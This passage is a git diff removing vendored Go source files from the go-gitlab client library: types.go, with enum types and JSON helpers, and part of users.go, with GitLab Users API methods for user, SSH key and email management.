a/vendor/github.com/xanzy/go-gitlab/types.go b/vendor/github.com/xanzy/go-gitlab/types.go deleted file mode 100644 index a78b80f814..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/types.go +++ /dev/null @@ -1,421 +0,0 @@ -package gitlab - -import ( - "encoding/json" - "errors" - "fmt" - "net/url" - "time" -) - -// AccessControlValue represents an access control value within GitLab, -// used for managing access to certain project features. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html -type AccessControlValue string - -// List of available access control values. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html -const ( - DisabledAccessControl AccessControlValue = "disabled" - EnabledAccessControl AccessControlValue = "enabled" - PrivateAccessControl AccessControlValue = "private" - PublicAccessControl AccessControlValue = "public" -) - -// AccessControl is a helper routine that allocates a new AccessControlValue -// to store v and returns a pointer to it. -func AccessControl(v AccessControlValue) *AccessControlValue { - p := new(AccessControlValue) - *p = v - return p -} - -// AccessLevelValue represents a permission level within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/permissions/permissions.html -type AccessLevelValue int - -// List of available access levels -// -// GitLab API docs: https://docs.gitlab.com/ce/permissions/permissions.html -const ( - NoPermissions AccessLevelValue = 0 - GuestPermissions AccessLevelValue = 10 - ReporterPermissions AccessLevelValue = 20 - DeveloperPermissions AccessLevelValue = 30 - MaintainerPermissions AccessLevelValue = 40 - OwnerPermissions AccessLevelValue = 50 - - // These are deprecated and should be removed in a future version - MasterPermissions AccessLevelValue = 40 - OwnerPermission AccessLevelValue = 50 -) - -// AccessLevel is a helper routine that allocates a new AccessLevelValue -// to store v and returns a pointer to it. -func AccessLevel(v AccessLevelValue) *AccessLevelValue { - p := new(AccessLevelValue) - *p = v - return p -} - -// BuildStateValue represents a GitLab build state. -type BuildStateValue string - -// These constants represent all valid build states. -const ( - Pending BuildStateValue = "pending" - Created BuildStateValue = "created" - Running BuildStateValue = "running" - Success BuildStateValue = "success" - Failed BuildStateValue = "failed" - Canceled BuildStateValue = "canceled" - Skipped BuildStateValue = "skipped" - Manual BuildStateValue = "manual" -) - -// BuildState is a helper routine that allocates a new BuildStateValue -// to store v and returns a pointer to it. -func BuildState(v BuildStateValue) *BuildStateValue { - p := new(BuildStateValue) - *p = v - return p -} - -// DeploymentStatusValue represents a Gitlab deployment status. -type DeploymentStatusValue string - -// These constants represent all valid deployment statuses. -const ( - DeploymentStatusCreated DeploymentStatusValue = "created" - DeploymentStatusRunning DeploymentStatusValue = "running" - DeploymentStatusSuccess DeploymentStatusValue = "success" - DeploymentStatusFailed DeploymentStatusValue = "failed" - DeploymentStatusCanceled DeploymentStatusValue = "canceled" -) - -// DeploymentStatus is a helper routine that allocates a new -// DeploymentStatusValue to store v and returns a pointer to it. -func DeploymentStatus(v DeploymentStatusValue) *DeploymentStatusValue { - p := new(DeploymentStatusValue) - *p = v - return p -} - -// ISOTime represents an ISO 8601 formatted date -type ISOTime time.Time - -// ISO 8601 date format -const iso8601 = "2006-01-02" - -// MarshalJSON implements the json.Marshaler interface -func (t ISOTime) MarshalJSON() ([]byte, error) { - if y := time.Time(t).Year(); y < 0 || y >= 10000 { - // ISO 8901 uses 4 digits for the years - return nil, errors.New("json: ISOTime year outside of range [0,9999]") - } - - b := make([]byte, 0, len(iso8601)+2) - b = append(b, '"') - b = time.Time(t).AppendFormat(b, iso8601) - b = append(b, '"') - - return b, nil -} - -// UnmarshalJSON implements the json.Unmarshaler interface -func (t *ISOTime) UnmarshalJSON(data []byte) error { - // Ignore null, like in the main JSON package - if string(data) == "null" { - return nil - } - - isotime, err := time.Parse(`"`+iso8601+`"`, string(data)) - *t = ISOTime(isotime) - - return err -} - -// EncodeValues implements the query.Encoder interface -func (t *ISOTime) EncodeValues(key string, v *url.Values) error { - if t == nil || (time.Time(*t)).IsZero() { - return nil - } - v.Add(key, t.String()) - return nil -} - -// String implements the Stringer interface -func (t ISOTime) String() string { - return time.Time(t).Format(iso8601) -} - -// NotificationLevelValue represents a notification level. -type NotificationLevelValue int - -// String implements the fmt.Stringer interface. -func (l NotificationLevelValue) String() string { - return notificationLevelNames[l] -} - -// MarshalJSON implements the json.Marshaler interface. -func (l NotificationLevelValue) MarshalJSON() ([]byte, error) { - return json.Marshal(l.String()) -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -func (l *NotificationLevelValue) UnmarshalJSON(data []byte) error { - var raw interface{} - if err := json.Unmarshal(data, &raw); err != nil { - return err - } - - switch raw := raw.(type) { - case float64: - *l = NotificationLevelValue(raw) - case string: - *l = notificationLevelTypes[raw] - case nil: - // No action needed. - default: - return fmt.Errorf("json: cannot unmarshal %T into Go value of type %T", raw, *l) - } - - return nil -} - -// List of valid notification levels. -const ( - DisabledNotificationLevel NotificationLevelValue = iota - ParticipatingNotificationLevel - WatchNotificationLevel - GlobalNotificationLevel - MentionNotificationLevel - CustomNotificationLevel -) - -var notificationLevelNames = [...]string{ - "disabled", - "participating", - "watch", - "global", - "mention", - "custom", -} - -var notificationLevelTypes = map[string]NotificationLevelValue{ - "disabled": DisabledNotificationLevel, - "participating": ParticipatingNotificationLevel, - "watch": WatchNotificationLevel, - "global": GlobalNotificationLevel, - "mention": MentionNotificationLevel, - "custom": CustomNotificationLevel, -} - -// NotificationLevel is a helper routine that allocates a new NotificationLevelValue -// to store v and returns a pointer to it. -func NotificationLevel(v NotificationLevelValue) *NotificationLevelValue { - p := new(NotificationLevelValue) - *p = v - return p -} - -// VisibilityValue represents a visibility level within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -type VisibilityValue string - -// List of available visibility levels. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -const ( - PrivateVisibility VisibilityValue = "private" - InternalVisibility VisibilityValue = "internal" - PublicVisibility VisibilityValue = "public" -) - -// Visibility is a helper routine that allocates a new VisibilityValue -// to store v and returns a pointer to it. -func Visibility(v VisibilityValue) *VisibilityValue { - p := new(VisibilityValue) - *p = v - return p -} - -// ProjectCreationLevelValue represents a project creation level within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -type ProjectCreationLevelValue string - -// List of available project creation levels. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -const ( - NoOneProjectCreation ProjectCreationLevelValue = "noone" - MaintainerProjectCreation ProjectCreationLevelValue = "maintainer" - DeveloperProjectCreation ProjectCreationLevelValue = "developer" -) - -// ProjectCreationLevel is a helper routine that allocates a new ProjectCreationLevelValue -// to store v and returns a pointer to it. -func ProjectCreationLevel(v ProjectCreationLevelValue) *ProjectCreationLevelValue { - p := new(ProjectCreationLevelValue) - *p = v - return p -} - -// SubGroupCreationLevelValue represents a sub group creation level within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -type SubGroupCreationLevelValue string - -// List of available sub group creation levels. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -const ( - OwnerSubGroupCreationLevelValue SubGroupCreationLevelValue = "owner" - MaintainerSubGroupCreationLevelValue SubGroupCreationLevelValue = "maintainer" -) - -// SubGroupCreationLevel is a helper routine that allocates a new SubGroupCreationLevelValue -// to store v and returns a pointer to it. -func SubGroupCreationLevel(v SubGroupCreationLevelValue) *SubGroupCreationLevelValue { - p := new(SubGroupCreationLevelValue) - *p = v - return p -} - -// VariableTypeValue represents a variable type within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -type VariableTypeValue string - -// List of available variable types. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/ -const ( - EnvVariableType VariableTypeValue = "env_var" - FileVariableType VariableTypeValue = "file" -) - -// VariableType is a helper routine that allocates a new VariableTypeValue -// to store v and returns a pointer to it. -func VariableType(v VariableTypeValue) *VariableTypeValue { - p := new(VariableTypeValue) - *p = v - return p -} - -// MergeMethodValue represents a project merge type within GitLab. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#project-merge-method -type MergeMethodValue string - -// List of available merge type -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#project-merge-method -const ( - NoFastForwardMerge MergeMethodValue = "merge" - FastForwardMerge MergeMethodValue = "ff" - RebaseMerge MergeMethodValue = "rebase_merge" -) - -// MergeMethod is a helper routine that allocates a new MergeMethod -// to sotre v and returns a pointer to it. -func MergeMethod(v MergeMethodValue) *MergeMethodValue { - p := new(MergeMethodValue) - *p = v - return p -} - -// EventTypeValue represents actions type for contribution events -type EventTypeValue string - -// List of available action type -// -// GitLab API docs: https://docs.gitlab.com/ce/api/events.html#action-types -const ( - CreatedEventType EventTypeValue = "created" - UpdatedEventType EventTypeValue = "updated" - ClosedEventType EventTypeValue = "closed" - ReopenedEventType EventTypeValue = "reopened" - PushedEventType EventTypeValue = "pushed" - CommentedEventType EventTypeValue = "commented" - MergedEventType EventTypeValue = "merged" - JoinedEventType EventTypeValue = "joined" - LeftEventType EventTypeValue = "left" - DestroyedEventType EventTypeValue = "destroyed" - ExpiredEventType EventTypeValue = "expired" -) - -// EventTargetTypeValue represents actions type value for contribution events -type EventTargetTypeValue string - -// List of available action type -// -// GitLab API docs: https://docs.gitlab.com/ce/api/events.html#target-types -const ( - IssueEventTargetType EventTargetTypeValue = "issue" - MilestoneEventTargetType EventTargetTypeValue = "milestone" - MergeRequestEventTargetType EventTargetTypeValue = "merge_request" - NoteEventTargetType EventTargetTypeValue = "note" - ProjectEventTargetType EventTargetTypeValue = "project" - SnippetEventTargetType EventTargetTypeValue = "snippet" - UserEventTargetType EventTargetTypeValue = "user" -) - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { - p := new(bool) - *p = v - return p -} - -// Int is a helper routine that allocates a new int32 value -// to store v and returns a pointer to it, but unlike Int32 -// its argument value is an int. -func Int(v int) *int { - p := new(int) - *p = v - return p -} - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { - p := new(string) - *p = v - return p -} - -// Time is a helper routine that allocates a new time.Time value -// to store v and returns a pointer to it. -func Time(v time.Time) *time.Time { - p := new(time.Time) - *p = v - return p -} - -// BoolValue is a boolean value with advanced json unmarshaling features. -type BoolValue bool - -// UnmarshalJSON allows 1 and 0 to be considered as boolean values -// Needed for https://gitlab.com/gitlab-org/gitlab-ce/issues/50122 -func (t *BoolValue) UnmarshalJSON(b []byte) error { - switch string(b) { - case `"1"`: - *t = true - return nil - case `"0"`: - *t = false - return nil - default: - var v bool - err := json.Unmarshal(b, &v) - *t = BoolValue(v) - return err - } -} diff --git a/vendor/github.com/xanzy/go-gitlab/users.go b/vendor/github.com/xanzy/go-gitlab/users.go deleted file mode 100644 index 2b5a99239b..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/users.go +++ /dev/null @@ -1,932 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "errors" - "fmt" - "time" -) - -// List a couple of standard errors. -var ( - ErrUserActivatePrevented = errors.New("Cannot activate a user that is blocked by admin or by LDAP synchronization") - ErrUserBlockPrevented = errors.New("Cannot block a user that is already blocked by LDAP synchronization") - ErrUserDeactivatePrevented = errors.New("Cannot deactivate a user that is blocked by admin or by LDAP synchronization, or that has any activity in past 180 days") - ErrUserNotFound = errors.New("User does not exist") - ErrUserUnblockPrevented = errors.New("Cannot unblock a user that is blocked by LDAP synchronization") -) - -// UsersService handles communication with the user related methods of -// the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html -type UsersService struct { - client *Client -} - -// BasicUser included in other service responses (such as merge requests, pipelines, etc). -type BasicUser struct { - ID int `json:"id"` - Username string `json:"username"` - Name string `json:"name"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` -} - -// User represents a GitLab user. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/users.html -type User struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - Bio string `json:"bio"` - Location string `json:"location"` - PublicEmail string `json:"public_email"` - Skype string `json:"skype"` - Linkedin string `json:"linkedin"` - Twitter string `json:"twitter"` - WebsiteURL string `json:"website_url"` - Organization string `json:"organization"` - ExternUID string `json:"extern_uid"` - Provider string `json:"provider"` - ThemeID int `json:"theme_id"` - LastActivityOn *ISOTime `json:"last_activity_on"` - ColorSchemeID int `json:"color_scheme_id"` - IsAdmin bool `json:"is_admin"` - AvatarURL string `json:"avatar_url"` - CanCreateGroup bool `json:"can_create_group"` - CanCreateProject bool `json:"can_create_project"` - ProjectsLimit int `json:"projects_limit"` - CurrentSignInAt *time.Time `json:"current_sign_in_at"` - LastSignInAt *time.Time `json:"last_sign_in_at"` - ConfirmedAt *time.Time `json:"confirmed_at"` - TwoFactorEnabled bool `json:"two_factor_enabled"` - Identities []*UserIdentity `json:"identities"` - External bool `json:"external"` - PrivateProfile bool `json:"private_profile"` - SharedRunnersMinutesLimit int `json:"shared_runners_minutes_limit"` - CustomAttributes []*CustomAttribute `json:"custom_attributes"` -} - -// UserIdentity represents a user identity. -type UserIdentity struct { - Provider string `json:"provider"` - ExternUID string `json:"extern_uid"` -} - -// ListUsersOptions represents the available ListUsers() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#list-users -type ListUsersOptions struct { - ListOptions - Active *bool `url:"active,omitempty" json:"active,omitempty"` - Blocked *bool `url:"blocked,omitempty" json:"blocked,omitempty"` - - // The options below are only available for admins. - Search *string `url:"search,omitempty" json:"search,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - ExternalUID *string `url:"extern_uid,omitempty" json:"extern_uid,omitempty"` - Provider *string `url:"provider,omitempty" json:"provider,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - External *bool `url:"external,omitempty" json:"external,omitempty"` - WithCustomAttributes *bool `url:"with_custom_attributes,omitempty" json:"with_custom_attributes,omitempty"` -} - -// ListUsers gets a list of users. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#list-users -func (s *UsersService) ListUsers(opt *ListUsersOptions, options ...RequestOptionFunc) ([]*User, *Response, error) { - req, err := s.client.NewRequest("GET", "users", opt, options) - if err != nil { - return nil, nil, err - } - - var usr []*User - resp, err := s.client.Do(req, &usr) - if err != nil { - return nil, resp, err - } - - return usr, resp, err -} - -// GetUser gets a single user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#single-user -func (s *UsersService) GetUser(user int, options ...RequestOptionFunc) (*User, *Response, error) { - u := fmt.Sprintf("users/%d", user) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - usr := new(User) - resp, err := s.client.Do(req, usr) - if err != nil { - return nil, resp, err - } - - return usr, resp, err -} - -// CreateUserOptions represents the available CreateUser() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#user-creation -type CreateUserOptions struct { - Email *string `url:"email,omitempty" json:"email,omitempty"` - Password *string `url:"password,omitempty" json:"password,omitempty"` - ResetPassword *bool `url:"reset_password,omitempty" json:"reset_password,omitempty"` - ForceRandomPassword *bool `url:"force_random_password,omitempty" json:"force_random_password,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty"` - Skype *string `url:"skype,omitempty" json:"skype,omitempty"` - Linkedin *string `url:"linkedin,omitempty" json:"linkedin,omitempty"` - Twitter *string `url:"twitter,omitempty" json:"twitter,omitempty"` - WebsiteURL *string `url:"website_url,omitempty" json:"website_url,omitempty"` - Organization *string `url:"organization,omitempty" json:"organization,omitempty"` - ProjectsLimit *int `url:"projects_limit,omitempty" json:"projects_limit,omitempty"` - ExternUID *string `url:"extern_uid,omitempty" json:"extern_uid,omitempty"` - Provider *string `url:"provider,omitempty" json:"provider,omitempty"` - Bio *string `url:"bio,omitempty" json:"bio,omitempty"` - Location *string `url:"location,omitempty" json:"location,omitempty"` - Admin *bool `url:"admin,omitempty" json:"admin,omitempty"` - CanCreateGroup *bool `url:"can_create_group,omitempty" json:"can_create_group,omitempty"` - SkipConfirmation *bool `url:"skip_confirmation,omitempty" json:"skip_confirmation,omitempty"` - External *bool `url:"external,omitempty" json:"external,omitempty"` - PrivateProfile *bool `url:"private_profile,omitempty" json:"private_profile,omitempty"` -} - -// CreateUser creates a new user. Note only administrators can create new users. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#user-creation -func (s *UsersService) CreateUser(opt *CreateUserOptions, options ...RequestOptionFunc) (*User, *Response, error) { - req, err := s.client.NewRequest("POST", "users", opt, options) - if err != nil { - return nil, nil, err - } - - usr := new(User) - resp, err := s.client.Do(req, usr) - if err != nil { - return nil, resp, err - } - - return usr, resp, err -} - -// ModifyUserOptions represents the available ModifyUser() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#user-modification -type ModifyUserOptions struct { - Email *string `url:"email,omitempty" json:"email,omitempty"` - Password *string `url:"password,omitempty" json:"password,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty"` - Skype *string `url:"skype,omitempty" json:"skype,omitempty"` - Linkedin *string `url:"linkedin,omitempty" json:"linkedin,omitempty"` - Twitter *string `url:"twitter,omitempty" json:"twitter,omitempty"` - WebsiteURL *string `url:"website_url,omitempty" json:"website_url,omitempty"` - Organization *string `url:"organization,omitempty" json:"organization,omitempty"` - ProjectsLimit *int `url:"projects_limit,omitempty" json:"projects_limit,omitempty"` - ExternUID *string `url:"extern_uid,omitempty" json:"extern_uid,omitempty"` - Provider *string `url:"provider,omitempty" json:"provider,omitempty"` - Bio *string `url:"bio,omitempty" json:"bio,omitempty"` - Location *string `url:"location,omitempty" json:"location,omitempty"` - Admin *bool `url:"admin,omitempty" json:"admin,omitempty"` - CanCreateGroup *bool `url:"can_create_group,omitempty" json:"can_create_group,omitempty"` - SkipReconfirmation *bool `url:"skip_reconfirmation,omitempty" json:"skip_reconfirmation,omitempty"` - External *bool `url:"external,omitempty" json:"external,omitempty"` - PrivateProfile *bool `url:"private_profile,omitempty" json:"private_profile,omitempty"` -} - -// ModifyUser modifies an existing user. Only administrators can change attributes -// of a user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#user-modification -func (s *UsersService) ModifyUser(user int, opt *ModifyUserOptions, options ...RequestOptionFunc) (*User, *Response, error) { - u := fmt.Sprintf("users/%d", user) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - usr := new(User) - resp, err := s.client.Do(req, usr) - if err != nil { - return nil, resp, err - } - - return usr, resp, err -} - -// DeleteUser deletes a user. Available only for administrators. This is an -// idempotent function, calling this function for a non-existent user id still -// returns a status code 200 OK. The JSON response differs if the user was -// actually deleted or not. In the former the user is returned and in the -// latter not. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#user-deletion -func (s *UsersService) DeleteUser(user int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("users/%d", user) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// CurrentUser gets currently authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#current-user -func (s *UsersService) CurrentUser(options ...RequestOptionFunc) (*User, *Response, error) { - req, err := s.client.NewRequest("GET", "user", nil, options) - if err != nil { - return nil, nil, err - } - - usr := new(User) - resp, err := s.client.Do(req, usr) - if err != nil { - return nil, resp, err - } - - return usr, resp, err -} - -// SSHKey represents a SSH key. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#list-ssh-keys -type SSHKey struct { - ID int `json:"id"` - Title string `json:"title"` - Key string `json:"key"` - CreatedAt *time.Time `json:"created_at"` -} - -// ListSSHKeys gets a list of currently authenticated user's SSH keys. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#list-ssh-keys -func (s *UsersService) ListSSHKeys(options ...RequestOptionFunc) ([]*SSHKey, *Response, error) { - req, err := s.client.NewRequest("GET", "user/keys", nil, options) - if err != nil { - return nil, nil, err - } - - var k []*SSHKey - resp, err := s.client.Do(req, &k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// ListSSHKeysForUserOptions represents the available ListSSHKeysForUser() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#list-ssh-keys-for-user -type ListSSHKeysForUserOptions ListOptions - -// ListSSHKeysForUser gets a list of a specified user's SSH keys. Available -// only for admin -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#list-ssh-keys-for-user -func (s *UsersService) ListSSHKeysForUser(user int, opt *ListSSHKeysForUserOptions, options ...RequestOptionFunc) ([]*SSHKey, *Response, error) { - u := fmt.Sprintf("users/%d/keys", user) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var k []*SSHKey - resp, err := s.client.Do(req, &k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// GetSSHKey gets a single key. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#single-ssh-key -func (s *UsersService) GetSSHKey(key int, options ...RequestOptionFunc) (*SSHKey, *Response, error) { - u := fmt.Sprintf("user/keys/%d", key) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - k := new(SSHKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// AddSSHKeyOptions represents the available AddSSHKey() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#add-ssh-key -type AddSSHKeyOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Key *string `url:"key,omitempty" json:"key,omitempty"` -} - -// AddSSHKey creates a new key owned by the currently authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#add-ssh-key -func (s *UsersService) AddSSHKey(opt *AddSSHKeyOptions, options ...RequestOptionFunc) (*SSHKey, *Response, error) { - req, err := s.client.NewRequest("POST", "user/keys", opt, options) - if err != nil { - return nil, nil, err - } - - k := new(SSHKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// AddSSHKeyForUser creates new key owned by specified user. Available only for -// admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#add-ssh-key-for-user -func (s *UsersService) AddSSHKeyForUser(user int, opt *AddSSHKeyOptions, options ...RequestOptionFunc) (*SSHKey, *Response, error) { - u := fmt.Sprintf("users/%d/keys", user) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - k := new(SSHKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// DeleteSSHKey deletes key owned by currently authenticated user. This is an -// idempotent function and calling it on a key that is already deleted or not -// available results in 200 OK. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#delete-ssh-key-for-current-owner -func (s *UsersService) DeleteSSHKey(key int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("user/keys/%d", key) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// DeleteSSHKeyForUser deletes key owned by a specified user. Available only -// for admin. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#delete-ssh-key-for-given-user -func (s *UsersService) DeleteSSHKeyForUser(user, key int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("users/%d/keys/%d", user, key) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// BlockUser blocks the specified user. Available only for admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#block-user -func (s *UsersService) BlockUser(user int, options ...RequestOptionFunc) error { - u := fmt.Sprintf("users/%d/block", user) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return err - } - - resp, err := s.client.Do(req, nil) - if err != nil && resp == nil { - return err - } - - switch resp.StatusCode { - case 201: - return nil - case 403: - return ErrUserBlockPrevented - case 404: - return ErrUserNotFound - default: - return fmt.Errorf("Received unexpected result code: %d", resp.StatusCode) - } -} - -// UnblockUser unblocks the specified user. Available only for admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#unblock-user -func (s *UsersService) UnblockUser(user int, options ...RequestOptionFunc) error { - u := fmt.Sprintf("users/%d/unblock", user) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return err - } - - resp, err := s.client.Do(req, nil) - if err != nil && resp == nil { - return err - } - - switch resp.StatusCode { - case 201: - return nil - case 403: - return ErrUserUnblockPrevented - case 404: - return ErrUserNotFound - default: - return fmt.Errorf("Received unexpected result code: %d", resp.StatusCode) - } -} - -// DeactivateUser deactivate the specified user. Available only for admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#deactivate-user -func (s *UsersService) DeactivateUser(user int, options ...RequestOptionFunc) error { - u := fmt.Sprintf("users/%d/deactivate", user) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return err - } - - resp, err := s.client.Do(req, nil) - if err != nil && resp == nil { - return err - } - - switch resp.StatusCode { - case 201: - return nil - case 403: - return ErrUserDeactivatePrevented - case 404: - return ErrUserNotFound - default: - return fmt.Errorf("Received unexpected result code: %d", resp.StatusCode) - } -} - -// ActivateUser activate the specified user. Available only for admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#activate-user -func (s *UsersService) ActivateUser(user int, options ...RequestOptionFunc) error { - u := fmt.Sprintf("users/%d/activate", user) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return err - } - - resp, err := s.client.Do(req, nil) - if err != nil && resp == nil { - return err - } - - switch resp.StatusCode { - case 201: - return nil - case 403: - return ErrUserActivatePrevented - case 404: - return ErrUserNotFound - default: - return fmt.Errorf("Received unexpected result code: %d", resp.StatusCode) - } -} - -// Email represents an Email. -// -// GitLab API docs: https://doc.gitlab.com/ce/api/users.html#list-emails -type Email struct { - ID int `json:"id"` - Email string `json:"email"` -} - -// ListEmails gets a list of currently authenticated user's Emails. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#list-emails -func (s *UsersService) ListEmails(options ...RequestOptionFunc) ([]*Email, *Response, error) { - req, err := s.client.NewRequest("GET", "user/emails", nil, options) - if err != nil { - return nil, nil, err - } - - var e []*Email - resp, err := s.client.Do(req, &e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// ListEmailsForUserOptions represents the available ListEmailsForUser() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#list-emails-for-user -type ListEmailsForUserOptions ListOptions - -// ListEmailsForUser gets a list of a specified user's Emails. Available -// only for admin -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#list-emails-for-user -func (s *UsersService) ListEmailsForUser(user int, opt *ListEmailsForUserOptions, options ...RequestOptionFunc) ([]*Email, *Response, error) { - u := fmt.Sprintf("users/%d/emails", user) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var e []*Email - resp, err := s.client.Do(req, &e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// GetEmail gets a single email. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#single-email -func (s *UsersService) GetEmail(email int, options ...RequestOptionFunc) (*Email, *Response, error) { - u := fmt.Sprintf("user/emails/%d", email) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - e := new(Email) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// AddEmailOptions represents the available AddEmail() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/projects.html#add-email -type AddEmailOptions struct { - Email *string `url:"email,omitempty" json:"email,omitempty"` -} - -// AddEmail creates a new email owned by the currently authenticated user. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#add-email -func (s *UsersService) AddEmail(opt *AddEmailOptions, options ...RequestOptionFunc) (*Email, *Response, error) { - req, err := s.client.NewRequest("POST", "user/emails", opt, options) - if err != nil { - return nil, nil, err - } - - e := new(Email) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// AddEmailForUser creates new email owned by specified user. Available only for -// admin. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/users.html#add-email-for-user -func (s *UsersService) AddEmailForUser(user int, opt *AddEmailOptions, options ...RequestOptionFunc) (*Email, *Response, error) { - u := fmt.Sprintf("users/%d/emails", user) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - e := new(Email) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// DeleteEmail deletes email owned by currently authenticated user. This is an -// idempotent function and calling it on a key that is already deleted or not -// available results in 200 OK. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/users.html#delete-email-for-current-owner -func (s *UsersService) DeleteEmail(email int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("user/emails/%d", email) - - 